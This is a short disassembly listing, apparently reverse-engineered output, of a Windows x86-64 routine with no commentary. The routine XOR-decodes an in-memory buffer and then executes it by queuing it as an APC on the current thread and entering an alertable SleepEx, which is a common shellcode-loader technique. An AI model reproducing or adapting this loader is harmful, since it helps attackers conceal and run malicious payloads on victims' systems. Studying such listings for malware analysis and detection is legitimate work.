cmp dword [rbp + 0x6b8], 0x102
jle 0x1400028d9
mov eax, dword [rbp + 0x6dc]
movsxd rdx, eax
mov rax, qword [rbp + 0x568]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x6d4]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x6dc]
movsxd rdx, eax
mov rax, qword [rbp + 0x568]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
add dword [rbp + 0x6d4], 1
add dword [rbp + 0x6dc], 1
cmp dword [rbp + 0x6dc], 0x449
jle 0x14000264b
mov rax, qword [rbp + 0x568]
mov qword [rbp + 0x548], rax
mov rax, qword [rbp + 0x6a8]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x540], rax
mov rax, qword [rbp + 0x6a8]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x538], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x548]
mov r9, qword [rbp + 0x540]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x538]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
movups xmm6, xmmword [rbp + 0x730]
add rsp, 0x7c8
pop rbx
pop rsi
pop rdi
pop rbp
ret